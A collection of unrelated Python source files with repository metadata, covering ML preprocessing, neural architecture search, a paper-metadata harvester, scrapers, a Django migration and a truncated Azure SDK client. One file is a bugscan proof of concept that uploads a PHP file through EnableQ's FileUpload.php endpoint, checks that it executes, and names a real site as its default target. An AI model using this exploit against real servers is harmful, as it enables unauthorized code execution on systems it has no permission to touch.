3274f828d326af8dbd7600530f4c0264a0bc7ba3
refs/heads/master
2020-04-02T16:35:05.287543
2018-09-24T11:34:03
2018-09-24T11:34:03
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,755
py
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Author: HuHao <[email protected]> Date: '2018/7/21' Info: 自定义异常类应该总是继承自内置的 Exception 类, 或者是继承自那些本身就是从 Exception 继承而来的类。 尽管所有类同时也继承自 BaseException ,但你不应该使用这个基类来定义新的异常。 BaseException 是为系统退出异常而保留的, 比如 KeyboardInterrupt 或 SystemExit 以及其他那些会给应用发送信号而退出的异常。 因此,捕获这些异常本身没什么意义。 这样的话,假如你继承 BaseException 可能会导致你的自定义异常不会被捕获而直接发送信号退出程序运行。 """ import os,traceback class NetworkError(Exception): pass class HostnameError(NetworkError): pass class TimeoutError(NetworkError): pass class ProtocolError(NetworkError): pass class CustomerError(Exception): def __init__(self,msg,status): # 复写 __init__ 函数时,需要调用super().__init()保证父类参数也被重新实例化 super().__init__(msg,status) self.msg = msg self.status = status def test_customer(): try: raise CustomerError('customer error',20) except Exception as e: print(e.msg,e.status) print(e.args) def test_args(): ''' . 很多其他函数库和部分Python库默认所有异常都必须有 .args 属性, 因此如果你忽略了这一步, 你会发现有些时候你定义的新异常不会按照期望运行。 ''' try: raise RuntimeError('It failed',43,'spam') except RuntimeError as e: print(e.args) if __name__=="__main__": try: # test_customer() test_args() pass except: traceback.print_exc() finally: os._exit(0)
cd9ff35e22a5ef807d3bd91348b03c240a03531e
1ac304bb90a6635b2723455c043811c4f0fdfdf8
/python/mead/tf/preprocessor.py
c08f2d6e89eb66b45539ae187b2a905c3c3d0f47
[ "Apache-2.0" ]
permissive
harutatsuakiyama/baseline
36882463638989c376121006d34e369007830f00
3aad1addfedad3b2ce2c78bab95855c0d41a5c93
refs/heads/master
2023-07-23T22:57:43.320828
2018-07-03T14:16:22
2018-07-03T14:16:22
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,645
py
import tensorflow as tf class PreprocessorCreator(object): def __init__(self, indices, lchars, upchars_lut, task, token_key, extra_feats): """ indices are created during vocab creation. """ self.word2index = indices['word'] self.char2index = indices.get('char') self.indices = indices self.lchars = lchars self.upchars_lut = upchars_lut self.task = task self.token_key = token_key self.extra_feats = extra_feats def preproc_post(self, post_mappings): # Split the input string, assuming that whitespace is splitter # The client should perform any required tokenization for us and join on ' ' # WARNING: This can be a bug if the user defaults the values (-1) # for conll, the mxlen=124, for idr, the mxlen is forced to a max BPTT # for twpos, the mxlen=38 # this should probably be fixed by serializing the mxlen of the model # or rereading it from the tensor from file raw_post = post_mappings[self.token_key] # raw_post = post_mappings mxlen = self.task.config_params['preproc']['mxlen'] mxwlen = self.task.config_params['preproc'].get('mxwlen') nraw_post = self._reform_raw(raw_post, mxlen) preprocs = {} words, sentence_length = self._create_word_vectors_from_post(nraw_post, mxlen) preprocs['word'] = words if 'char' in self.indices: chars, _ = self._create_char_vectors_from_post(nraw_post, mxlen, mxwlen) preprocs['char'] = chars for extra in self.extra_feats: index = self.indices[extra] nraw = self._reform_raw(post_mappings[extra], mxlen) t, _ = self._create_vectors_from_post(nraw, mxlen, index) preprocs[extra] = t return preprocs, sentence_length def _reform_raw(self, raw, mxlen): """ Splits and rejoins a string to ensure that tokens meet the required max len. """ #raw_post = tf.Print(raw_post, [raw_post]) raw_tokens = tf.string_split(tf.reshape(raw, [-1])).values # sentence length <= mxlen nraw_post = tf.reduce_join(raw_tokens[:mxlen], separator=" ") return nraw_post def _create_word_vectors_from_post(self, nraw_post, mxlen): # vocab has only lowercase words split_chars = tf.string_split(tf.reshape(nraw_post, [-1]), delimiter="").values upchar_inds = self.upchars_lut.lookup(split_chars) lc_raw_post = tf.reduce_join(tf.map_fn(lambda x: tf.cond(x[0] > 25, lambda: x[1], lambda: self.lchars[x[0]]), (upchar_inds, split_chars), dtype=tf.string)) word_tokens = tf.string_split(tf.reshape(lc_raw_post, [-1])) word_indices = self.word2index.lookup(word_tokens) # Reshape them out to the proper length reshaped_words = tf.sparse_reshape(word_indices, shape=[-1]) sentence_length = tf.size(reshaped_words) # tf.shape if 2 dims needed x = self._reshape_indices(reshaped_words, [mxlen]) return x, sentence_length def _create_char_vectors_from_post(self, nraw_post, mxlen, mxwlen): # numchars per word should be <= mxwlen unchanged_word_tokens = tf.string_split(tf.reshape(nraw_post, [-1])) culled_word_token_vals = tf.substr(unchanged_word_tokens.values, 0, mxwlen) char_tokens = tf.string_split(culled_word_token_vals, delimiter='') char_indices = self.char2index.lookup(char_tokens) xch = self._reshape_indices(char_indices, [mxlen, mxwlen]) sentence_length = tf.size(xch) return xch, sentence_length def _create_vectors_from_post(self, nraw_post, mxlen, index): tokens = tf.string_split(tf.reshape(nraw_post, [-1])) indices = index.lookup(tokens) # Reshape them out to the proper length reshaped = tf.sparse_reshape(indices, shape=[-1]) sentence_length = tf.size(reshaped) # tf.shape if 2 dims needed print(sentence_length) return self._reshape_indices(reshaped, [mxlen]), sentence_length def _reshape_indices(self, indices, shape): reshaped = tf.sparse_reset_shape(indices, new_shape=shape) # Now convert to a dense representation x = tf.sparse_tensor_to_dense(reshaped) x = tf.contrib.framework.with_shape(shape, x) return x
37a9955dafd0fc6d44b7e96543830a76e22fb9f9
3cdd50dc60a4e7cbba204403aa6a9689d58738a8
/scripts/video2animeframes.py
6b4428fbbb6d2ec18aca17a2a278889907fe6446
[]
no_license
w13ww/AnimeGANv2_pytorch
ea6df68d34ad7012517222b1c61290d27fef2118
45885494e99eb46a914f24a6880aad40d6bee84a
refs/heads/main
2023-06-03T09:30:39.045119
2021-06-27T07:15:18
2021-06-27T07:15:18
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,130
py
# coding: utf-8 # Author: [email protected] import os, sys project_path = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) sys.path.append(project_path) import cv2 import torch import argparse import numpy as np from tqdm import tqdm from PIL import Image from animeganv2.configs import cfg from animeganv2.modeling.generator import build_generator from animeganv2.data.transforms.build import build_transforms from animeganv2.utils.model_serialization import load_state_dict from animeganv2.modeling.utils import adjust_brightness_from_src_to_dst def get_model(model_weight, device): model = build_generator(cfg) checkpoint = torch.load(model_weight, map_location=torch.device("cpu")) load_state_dict(model, checkpoint.pop("models").pop("generator")) model.to(device) return model def main(): parser = argparse.ArgumentParser() parser.add_argument( "--config-file", default="", metavar="FILE", help="path to config file", type=str, ) parser.add_argument( "--video_path", type=str, required=True ) parser.add_argument( "--output_path", type=str, required=True ) parser.add_argument( "opts", help="Modify config options using the command-line", default=None, nargs=argparse.REMAINDER, ) args = parser.parse_args() cfg.merge_from_file(args.config_file) cfg.merge_from_list(args.opts) cfg.freeze() video_path = args.video_path output_path = args.output_path model_weight = cfg.MODEL.WEIGHT device = torch.device(cfg.MODEL.DEVICE) model = get_model(model_weight, device) model.eval() transform = build_transforms(cfg, False) videos = os.listdir(video_path) for video in tqdm(videos): try: videoPath = os.path.join(video_path, video) outputDir = os.path.join(output_path, video) if os.path.exists(outputDir): continue os.mkdir(outputDir) videoCapture = cv2.VideoCapture(videoPath) frame_num = int(videoCapture.get(cv2.CAP_PROP_FRAME_COUNT)) for i in tqdm(range(frame_num)): success, frame = videoCapture.read() frame = cv2.resize(frame, (1920, 1080)) frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) input = Image.fromarray(frame) input = transform([input])[0][0].unsqueeze(0) input = input.to(device) with torch.no_grad(): pred = model(input).cpu() pred_img = (pred.squeeze() + 1.) / 2 * 255 pred_img = pred_img.permute(1, 2, 0).numpy().clip(0, 255).astype(np.uint8) pred_img = adjust_brightness_from_src_to_dst(pred_img, frame) video_frame = cv2.cvtColor(pred_img, cv2.COLOR_RGB2BGR) cv2.imwrite(os.path.join(outputDir, '{}.jpg'.format(i)), video_frame) videoCapture.release() except: continue if __name__ == '__main__': main()
a7c9d2040e34714663b164649c5ae5c4b4873876
c88647bf9337918c29d6f96f6db5a0bfdfc1cd9a
/nas_big_data/search/agebov3.py
d0b6be66169d19a304eeea265fb3f10c4ba462b9
[ "BSD-2-Clause" ]
permissive
deephyper/NASBigData
89c81c391b0360c839689fec0ed04039ebb51705
18f083a402b80b1d006eada00db7287ff1802592
refs/heads/master
2023-04-16T00:05:35.965384
2021-06-03T13:01:33
2021-06-03T13:01:33
279,793,726
5
2
null
null
null
null
UTF-8
Python
false
false
9,941
py
import collections import json import os import copy import numpy as np from skopt import Optimizer as SkOptimizer from skopt.learning import RandomForestRegressor from deephyper.core.logs.logging import JsonMessage as jm from deephyper.core.parser import add_arguments_from_signature from deephyper.evaluator.evaluate import Encoder from deephyper.search import util from deephyper.search.nas.regevo import RegularizedEvolution dhlogger = util.conf_logger("deephyper.search.nas.agebov3") # def key(d): # return json.dumps(dict(arch_seq=d['arch_seq']), cls=Encoder) class AgeBO(RegularizedEvolution): """Aging evolution with Bayesian Optimization. This algorithm build on the 'Regularized Evolution' from https://arxiv.org/abs/1802.01548. It cumulates Hyperparameter optimization with bayesian optimisation and Neural architecture search with regularized evolution. Args: problem (str): Module path to the Problem instance you want to use for the search (e.g. deephyper.benchmark.nas.linearReg.Problem). run (str): Module path to the run function you want to use for the search (e.g. deephyper.nas.run.quick). evaluator (str): value in ['balsam', 'subprocess', 'processPool', 'threadPool']. population_size (int, optional): the number of individuals to keep in the population. Defaults to 100. sample_size (int, optional): the number of individuals that should participate in each tournament. Defaults to 10. """ def __init__( self, problem, run, evaluator, population_size=100, sample_size=10, n_jobs=1, kappa=0.001, xi=0.000001, **kwargs, ): super().__init__( problem=problem, run=run, evaluator=evaluator, population_size=population_size, sample_size=sample_size, **kwargs, ) self.n_jobs = int(n_jobs) # Initialize Hyperaparameter space self.hp_space = [] # add the 'learning_rate' space to the HPO search space self.hp_space.append(self.problem.space["hyperparameters"]["learning_rate"]) # add the 'batch_size' space to the HPO search space self.hp_space.append(self.problem.space["hyperparameters"]["batch_size"]) # add the 'num_ranks_per_node' space to the HPO search space self.hp_space.append(self.problem.space["hyperparameters"]["ranks_per_node"]) # Initialize opitmizer of hyperparameter space acq_func_kwargs = {"xi": float(xi), "kappa": float(kappa)} # tiny exploration # self.free_workers = 128 #! TODO: test self.n_initial_points = self.free_workers self.hp_opt = SkOptimizer( dimensions=self.hp_space, base_estimator=RandomForestRegressor(n_jobs=32), # base_estimator=RandomForestRegressor(n_jobs=4), acq_func="LCB", acq_optimizer="sampling", acq_func_kwargs=acq_func_kwargs, n_initial_points=self.n_initial_points, # model_queue_size=100, ) @staticmethod def _extend_parser(parser): RegularizedEvolution._extend_parser(parser) add_arguments_from_signature(parser, AgeBO) return parser def saved_keys(self, val: dict): res = { "learning_rate": val["hyperparameters"]["learning_rate"], "batch_size": val["hyperparameters"]["batch_size"], "ranks_per_node": val["hyperparameters"]["ranks_per_node"], "arch_seq": str(val["arch_seq"]), } return res def main(self): num_evals_done = 0 population = collections.deque(maxlen=self.population_size) # Filling available nodes at start self.evaluator.add_eval_batch(self.gen_random_batch(size=self.free_workers)) # Main loop while num_evals_done < self.max_evals: # Collecting finished evaluations new_results = list(self.evaluator.get_finished_evals()) if len(new_results) > 0: population.extend(new_results) stats = {"num_cache_used": self.evaluator.stats["num_cache_used"]} dhlogger.info(jm(type="env_stats", **stats)) self.evaluator.dump_evals(saved_keys=self.saved_keys) num_received = len(new_results) num_evals_done += num_received hp_results_X, hp_results_y = [], [] # If the population is big enough evolve the population if len(population) == self.population_size: children_batch = [] # For each new parent/result we create a child from it for new_i in range(len(new_results)): # select_sample indexes = np.random.choice( self.population_size, self.sample_size, replace=False ) sample = [population[i] for i in indexes] # select_parent parent = self.select_parent(sample) # copy_mutate_parent child = self.copy_mutate_arch(parent) # add child to batch children_batch.append(child) # collect infos for hp optimization new_i_hps = new_results[new_i][0]["hyperparameters"] new_i_y = new_results[new_i][1] hp_new_i = [ new_i_hps["learning_rate"], new_i_hps["batch_size"], new_i_hps["ranks_per_node"], ] hp_results_X.append(hp_new_i) hp_results_y.append(-new_i_y) self.hp_opt.tell(hp_results_X, hp_results_y) #! fit: costly new_hps = self.hp_opt.ask(n_points=len(new_results)) for hps, child in zip(new_hps, children_batch): child["hyperparameters"]["learning_rate"] = hps[0] child["hyperparameters"]["batch_size"] = hps[1] child["hyperparameters"]["ranks_per_node"] = hps[2] # submit_childs if len(new_results) > 0: self.evaluator.add_eval_batch(children_batch) else: # If the population is too small keep increasing it # For each new parent/result we create a child from it for new_i in range(len(new_results)): new_i_hps = new_results[new_i][0]["hyperparameters"] new_i_y = new_results[new_i][1] hp_new_i = [ new_i_hps["learning_rate"], new_i_hps["batch_size"], new_i_hps["ranks_per_node"], ] hp_results_X.append(hp_new_i) hp_results_y.append(-new_i_y) self.hp_opt.tell(hp_results_X, hp_results_y) #! fit: costly new_hps = self.hp_opt.ask(n_points=len(new_results)) new_batch = self.gen_random_batch(size=len(new_results), hps=new_hps) self.evaluator.add_eval_batch(new_batch) def select_parent(self, sample: list) -> list: cfg, _ = max(sample, key=lambda x: x[1]) return cfg["arch_seq"] def gen_random_batch(self, size: int, hps: list = None) -> list: batch = [] if hps is None: points = self.hp_opt.ask(n_points=size) for point in points: #! DeepCopy is critical for nested lists or dicts cfg = copy.deepcopy(self.pb_dict) # hyperparameters cfg["hyperparameters"]["learning_rate"] = point[0] cfg["hyperparameters"]["batch_size"] = point[1] cfg["hyperparameters"]["ranks_per_node"] = point[2] # architecture DNA cfg["arch_seq"] = self.random_search_space() batch.append(cfg) else: # passed hps are used assert size == len(hps) for point in hps: #! DeepCopy is critical for nested lists or dicts cfg = copy.deepcopy(self.pb_dict) # hyperparameters cfg["hyperparameters"]["learning_rate"] = point[0] cfg["hyperparameters"]["batch_size"] = point[1] cfg["hyperparameters"]["ranks_per_node"] = point[2] # architecture DNA cfg["arch_seq"] = self.random_search_space() batch.append(cfg) return batch def random_search_space(self) -> list: return [np.random.choice(b + 1) for (_, b) in self.space_list] def copy_mutate_arch(self, parent_arch: list) -> dict: """ # ! Time performance is critical because called sequentialy Args: parent_arch (list(int)): embedding of the parent's architecture. Returns: dict: embedding of the mutated architecture of the child. """ i = np.random.choice(len(parent_arch)) child_arch = parent_arch[:] range_upper_bound = self.space_list[i][1] elements = [j for j in range(range_upper_bound + 1) if j != child_arch[i]] # The mutation has to create a different search_space! sample = np.random.choice(elements, 1)[0] child_arch[i] = sample cfg = self.pb_dict.copy() cfg["arch_seq"] = child_arch return cfg if __name__ == "__main__": args = AgeBO.parse_args() search = AgeBO(**vars(args)) search.main()
93588fbdc90eb41278a4ea6c88b24176f50fec7d
43ff15a7989576712d0e51f0ed32e3a4510273c0
/tools/pocs/bugscan/exp_1672.py
60046495bc3b154b90d6fe925db050e888d2a320
[]
no_license
v1cker/kekescan
f2b51d91a9d6496e2cdc767eb6a600171f513449
3daa1775648439ba9e0003a376f90b601820290e
refs/heads/master
2020-09-19T16:26:56.522453
2017-06-15T02:55:24
2017-06-15T02:55:24
94,495,007
6
3
null
null
null
null
UTF-8
Python
false
false
1,784
py
# -*- coding: utf-8 -*- from dummy import * from miniCurl import Curl curl = Curl() #-*- encoding:utf-8 -*- # Title EnableQ官方免费版任意文件上传 # Referer http://www.wooyun.org/bugs/wooyun-2010-0128219 def assign(service, arg): if service == "enableq": return True, arg def audit(arg): raw = """POST /Android/FileUpload.php?optionID=1 HTTP/1.1 Host: xxxxx.com Content-Length: 316 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: null Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 UBrowser/5.5.7386.17 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQXp86Nj8hIcFckX4 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8 Cookie: PHPSESSID=8ff192ee943f84f5047a44d02f4b453e ------WebKitFormBoundaryQXp86Nj8hIcFckX4 Content-Disposition: form-data; name="uploadedfile_1"; filename="xxx.php" Content-Type: application/octet-stream <?php echo md5(1);unlink(__FILE__);?> ------WebKitFormBoundaryQXp86Nj8hIcFckX4 Content-Disposition: form-data; name="button" 提交 ------WebKitFormBoundaryQXp86Nj8hIcFckX4--""" url = arg + 'Android/FileUpload.php?optionID=1' code, head,res, errcode, _ = curl.curl2(url,raw=raw) if code == 200 and 'true|1|' in res: File = res.replace('true|1|','PerUserData/tmp/') url2 = arg + File code, head,res, errcode, _ = curl.curl2(url2) if code==200 and 'c4ca4238a0b923820dcc509a6f75849b' in res: security_hole(url) if __name__ == '__main__': from dummy import * audit(assign('enableq', 'http://isurvey.pamri.com/')[1])
e1ef348edf0b502bc60a1db5bcc1ec87914047ab
60d737103373825b858e67292865bda8c6f2094f
/active/ieee_picker.py
365e7c5efc90e338a2f4d230b93c5f08faf084fa
[]
no_license
fschwenn/ejlmod
fbf4692b857f9f056f9105a7f616a256725f03b6
ef17512c2e44baa0164fdc6abc997c70ed3d2a74
refs/heads/master
2023-01-24T18:56:35.581517
2023-01-20T11:18:16
2023-01-20T11:18:16
91,459,496
1
1
null
2021-10-04T11:58:15
2017-05-16T13:06:57
Python
UTF-8
Python
false
false
6,203
py
# -*- coding: utf-8 -*- #program to harvest individual IEEE articles bei DOIs #FS: 2018-01-26 import getopt import sys import os import urllib2 import urlparse from bs4 import BeautifulSoup import re import ejlmod2 import codecs import time import datetime import json xmldir = '/afs/desy.de/user/l/library/inspire/ejl' retfiles_path = "/afs/desy.de/user/l/library/proc/retinspire/retfiles" now = datetime.datetime.now() stampoftoday = '%4d-%02d-%02d' % (now.year, now.month, now.day) publisher = 'IEEE' jnlfilename = 'ieee_picker-%s' % (stampoftoday) urltrunc = "http://ieeexplore.ieee.org" dois = sys.argv[1:] def meta_with_name(tag): return tag.name == 'meta' and tag.has_attr('name') def fsunwrap(tag): try: for i in tag.find_all('i'): cont = i.string i.replace_with(cont) except: print 'fsunwrap-i-problem' try: for b in tag.find_all('b'): cont = b.string b.replace_with(cont) except: print 'fsunwrap-b-problem' try: for sup in tag.find_all('sup'): cont = sup.string sup.replace_with('^'+cont) except: print 'fsunwrap-sup-problem' try: for sub in tag.find_all('sub'): cont = sub.string sub.replace_with('_'+cont) except: print 'fsunwrap-sub-problem' try: for form in tag.find_all('formula',attrs={'formulatype': 'inline'}): form.replace_with(' [FORMULA] ') except: print 'fsunwrap-form-problem' return tag def referencetostring(reference): refstring = re.sub('\s+',' ',fsunwrap(reference).prettify()) refstring = re.sub('<li> *(.*) *<br.*',r'\1',refstring) for a in reference.find_all('a'): if a.has_attr('href') and re.search('dx.doi.org\/',a['href']): refstring += ', doi: %s' % (re.sub('.*dx.doi.org\/','',a['href'])) return refstring recs = [] i = 0 for doi in dois: i += 1 print '---{ %i/%i }---{ %s}------' % (i, len(dois), doi) tc = 'P' rec = {'keyw' : [], 'autaff' : [], 'tc' : tc} try: articlepage = BeautifulSoup(urllib2.urlopen('http://dx.doi.org/%s' % (doi),timeout=300)) time.sleep(6) except: print "retry in 60 seconds" time.sleep(60) articlepage = BeautifulSoup(urllib2.urlopen('http://dx.doi.org/%s' % (doi),timeout=300)) #metadata now in javascript for script in articlepage.find_all('script', attrs = {'type' : 'text/javascript'}): if re.search('global.document.metadata', script.text): gdm = re.sub('[\n\t]', '', script.text).strip() gdm = re.sub('.*global.document.metadata=(\{.*\}).*', r'\1', gdm) gdm = json.loads(gdm) rec['jnl'] = gdm['publicationTitle'] if rec['jnl'] == 'IEEE Computer Graphics and Applications': rec['jnl'] = 'IEEE Comp.Graph.App.' elif rec['jnl'] == 'IEEE Sensors Journal': rec['jnl'] = 'IEEE Sensors J.' elif rec['jnl'] == 'IEEE Transactions on Applied Superconductivity': rec['jnl'] = 'IEEE Trans.Appl.Supercond.' elif rec['jnl'] == 'IEEE Transactions on Circuits and Systems I: Regular Papers': rec['jnl'] = 'IEEE Trans.Circuits Theor.' elif rec['jnl'] == 'IEEE Transactions on Magnetics': rec['jnl'] = 'IEEE Trans.Magnetics' elif rec['jnl'] == 'IEEE Transactions on Nuclear Science': rec['jnl'] = 'IEEE Trans.Nucl.Sci.' elif rec['jnl'] == 'Journal of Lightwave Technology': rec['jnl'] = 'J.Lightwave Tech.' else: rec['jnl'] = 'BOOK' if gdm.has_key('authors'): for author in gdm['authors']: autaff = [author['name']] if author.has_key('affiliation'): autaff.append(author['affiliation']) if author.has_key('orcid'): autaff.append('ORCID:'+author['orcid']) rec['autaff'].append(autaff) if rec['jnl'] in ['IEEE Trans.Magnetics', 'IEEE Trans.Appl.Supercond.']: if gdm.has_key('externalId'): rec['p1'] = gdm['externalId'] elif gdm.has_key('articleNumber'): rec['p1'] = gdm['articleNumber'] else: rec['p1'] = gdm['startPage'] rec['p2'] = gdm['endPage'] else: if gdm.has_key('endPage'): rec['p1'] = gdm['startPage'] rec['p2'] = gdm['endPage'] elif gdm.has_key('externalId'): rec['p1'] = gdm['externalId'] else: rec['p1'] = gdm['articleNumber'] if gdm['isFreeDocument']: rec['FFT'] = urltrunc + gdm['pdfPath'] rec['tit'] = gdm['formulaStrippedArticleTitle'] if gdm.has_key('abstract'): rec['abs'] = gdm['abstract'] ## mistake in metadata if re.search('\d+ pp', gdm['startPage']): rec['pages'] = re.sub(' .*', '', gdm['startPage']) rec['p1'] = str(int(gdm['endPage']) - int(rec['pages']) + 1) else: try: rec['pages'] = int(re.sub(' .*', '', gdm['endPage'])) - int(gdm['startPage']) + 1 except: pass rec['doi'] = gdm['doi'] if gdm.has_key('keywords'): for kws in gdm['keywords']: for kw in kws['kwd']: if not kw in rec['keyw']: rec['keyw'].append(kw) try: rec['date'] = re.sub('\.', '', gdm['journalDisplayDateOfPublication']) except: rec['date'] = re.sub('\.', '', gdm['publicationDate']) rec['year'] = rec['date'][-4:] if gdm.has_key('issue'): rec['issue'] = gdm['issue'] if gdm.has_key('volume'): rec['vol'] = gdm['volume'] if gdm['isConference']: rec['tc'] = 'C' rec['note'] = [gdm['publicationTitle']] recs.append(rec) #closing of files and printing xmlf = os.path.join(xmldir,jnlfilename+'.xml') xmlfile = codecs.EncodedFile(codecs.open(xmlf,mode='wb'),'utf8') ejlmod2.writenewXML(recs,xmlfile,publisher, jnlfilename) xmlfile.close() #retrival retfiles_text = open(retfiles_path,"r").read() line = jnlfilename+'.xml'+ "\n" if not line in retfiles_text: retfiles = open(retfiles_path,"a") retfiles.write(line) retfiles.close()
59c077a63d563e4e4f1ae1c02b2bb9e3d7f9a62f
15f321878face2af9317363c5f6de1e5ddd9b749
/solutions_python/Problem_200/3922.py
6c513e10347dca58684665070d3a5aafe553781e
[]
no_license
dr-dos-ok/Code_Jam_Webscraper
c06fd59870842664cd79c41eb460a09553e1c80a
26a35bf114a3aa30fc4c677ef069d95f41665cc0
refs/heads/master
2020-04-06T08:17:40.938460
2018-10-14T10:12:47
2018-10-14T10:12:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,226
py
# from __future__ import print_function import os import sys def smallest_tidy_n(n_str): # for the single digit special case if len(n_str) == 1: return n_str # special case: identical digits if n_str == n_str[0] * len(n_str): return n_str # for the special case of something like: # 110, 101, 100 # ( answer in these cases is 99) for i in range(len(n_str)): if int(n_str[i]) > 1 : break if i == len(n_str)-1: return "9" * (len(n_str) - 1) res = n_str[0] for i in range(len(n_str)-2, -1, -1): if int(n_str[i+1]) < int(n_str[i]): # print(12312312) return smallest_tidy_n( n_str[0:i] + str(int(n_str[i])-1) + "9" * (len(n_str)-i-1) ) return n_str def remove_trailing_zeros(n_str): start = 0 for i in range(len(n_str)): if n_str[i] == '0': start = i+1 break return n_str[start:] f = open(sys.argv[1]) outf = open(sys.argv[1] + ".out", 'w') n = int(f.readline()) # for nth in range(n): num_str = f.readline().strip() tidy = smallest_tidy_n(num_str) tidy = remove_trailing_zeros(tidy) res = "Case #%d: %s" % (nth+1, tidy) # print(num_str) # print(res) if nth < n-1: res = res + "\n" outf.write(res)
1eb0b5f131b64d53530596a02965c641b07e642a
55c250525bd7198ac905b1f2f86d16a44f73e03a
/Python/Games/Conqueror of Empires/project/data.py
fc8e7a76d51033fe317d3e9b0cdd065b3b283cfc
[]
no_license
NateWeiler/Resources
213d18ba86f7cc9d845741b8571b9e2c2c6be916
bd4a8a82a3e83a381c97d19e5df42cbababfc66c
refs/heads/master
2023-09-03T17:50:31.937137
2023-08-28T23:50:57
2023-08-28T23:50:57
267,368,545
2
1
null
2022-09-08T15:20:18
2020-05-27T16:18:17
null
UTF-8
Python
false
false
128
py
version https://git-lfs.github.com/spec/v1 oid sha256:2e685fd55394e2b706aae52098bf791f45158fbc6e6ccb10becc4caa7efc16c4 size 413
1cf125c2a540017320395c8cdd6a233922f6dcd9
034fff9750485929ef91c8ab8eb2a5a3b5f26c4a
/books/Python程式設計實務_第2版_博碩/書中附檔/9-5.py
e0dc05aca9638db40095fa87d6e628c10f307a64
[]
no_license
sakanamax/LearnPython
c0dcaf26525e2c1420ae2f61924306f5137b4f20
2d042c90ea380d2b8b64421679ad576cbbbc6b9e
refs/heads/master
2021-01-13T17:27:47.394548
2020-03-01T13:44:00
2020-03-01T13:44:00
42,424,888
1
1
null
null
null
null
UTF-8
Python
false
false
446
py
# -*- coding: utf-8 -*- # 程式 9-5 (Python 3 version) from bs4 import BeautifulSoup import requests import sys if len(sys.argv) < 2: print("用法:python 9-5.py <<target url>>") exit(1) url = sys.argv[1] html = requests.get(url).text sp = BeautifulSoup(html, 'html.parser') all_links = sp.find_all('a') for link in all_links: href = link.get('href') if href != None and href.startswith('http://'): print(href)
74c990030b5828f5aba33b0c759abf7fce25038a
42dd79c614b775e6e8e782ea7ab332aef44251b9
/extra_apps/xadmin/migrations/0002_log.py
2d0b47edefe861fd85eb8ca97914c891c8bb06a0
[]
no_license
Annihilater/imooc
114575638f251a0050a0240d5a25fc69ef07d9ea
547046cff32ce413b0a4e21714cb9ab9ce19bc49
refs/heads/master
2020-05-03T09:06:18.247371
2019-12-04T09:24:55
2019-12-04T09:24:55
178,545,115
0
0
null
null
null
null
UTF-8
Python
false
false
2,877
py
# -*- coding: utf-8 -*- # Generated by Django 1.9.7 on 2016-07-15 05:50 from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models import django.db.models.deletion import django.utils.timezone class Migration(migrations.Migration): dependencies = [ ("contenttypes", "0002_remove_content_type_name"), migrations.swappable_dependency(settings.AUTH_USER_MODEL), ("xadmin", "0001_initial"), ] operations = [ migrations.CreateModel( name="Log", fields=[ ( "id", models.AutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ( "action_time", models.DateTimeField( default=django.utils.timezone.now, editable=False, verbose_name="action time", ), ), ( "ip_addr", models.GenericIPAddressField( blank=True, null=True, verbose_name="action ip" ), ), ( "object_id", models.TextField(blank=True, null=True, verbose_name="object id"), ), ( "object_repr", models.CharField(max_length=200, verbose_name="object repr"), ), ( "action_flag", models.PositiveSmallIntegerField(verbose_name="action flag"), ), ( "message", models.TextField(blank=True, verbose_name="change message"), ), ( "content_type", models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to="contenttypes.ContentType", verbose_name="content type", ), ), ( "user", models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL, verbose_name="user", ), ), ], options={ "ordering": ("-action_time",), "verbose_name": "log entry", "verbose_name_plural": "log entries", }, ) ]
b33c0fd4e7e3d7f166a592e2a5141660b8ea686b
d7016f69993570a1c55974582cda899ff70907ec
/sdk/resources/azure-mgmt-resource/azure/mgmt/resource/features/v2015_12_01/aio/_feature_client.py
403e09981f0530df35255da9d45c697c70fd4f82
[ "MIT", "LicenseRef-scancode-generic-cla", "LGPL-2.1-or-later" ]
permissive
kurtzeborn/azure-sdk-for-python
51ca636ad26ca51bc0c9e6865332781787e6f882
b23e71b289c71f179b9cf9b8c75b1922833a542a
refs/heads/main
2023-03-21T14:19:50.299852
2023-02-15T13:30:47
2023-02-15T13:30:47
157,927,277
0
0
MIT
2022-07-19T08:05:23
2018-11-16T22:15:30
Python
UTF-8
Python
false
false
4,376
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- from copy import deepcopy from typing import Any, Awaitable, TYPE_CHECKING from azure.core.rest import AsyncHttpResponse, HttpRequest from azure.mgmt.core import AsyncARMPipelineClient from .. import models as _models from ..._serialization import Deserializer, Serializer from ._configuration import FeatureClientConfiguration from .operations import FeatureClientOperationsMixin, FeaturesOperations if TYPE_CHECKING: # pylint: disable=unused-import,ungrouped-imports from azure.core.credentials_async import AsyncTokenCredential class FeatureClient(FeatureClientOperationsMixin): # pylint: disable=client-accepts-api-version-keyword """Azure Feature Exposure Control (AFEC) provides a mechanism for the resource providers to control feature exposure to users. Resource providers typically use this mechanism to provide public/private preview for new features prior to making them generally available. Users need to explicitly register for AFEC features to get access to such functionality. :ivar features: FeaturesOperations operations :vartype features: azure.mgmt.resource.features.v2015_12_01.aio.operations.FeaturesOperations :param credential: Credential needed for the client to connect to Azure. Required. :type credential: ~azure.core.credentials_async.AsyncTokenCredential :param subscription_id: The ID of the target subscription. Required. :type subscription_id: str :param base_url: Service URL. Default value is "https://management.azure.com". :type base_url: str :keyword api_version: Api Version. Default value is "2015-12-01". Note that overriding this default value may result in unsupported behavior. :paramtype api_version: str """ def __init__( self, credential: "AsyncTokenCredential", subscription_id: str, base_url: str = 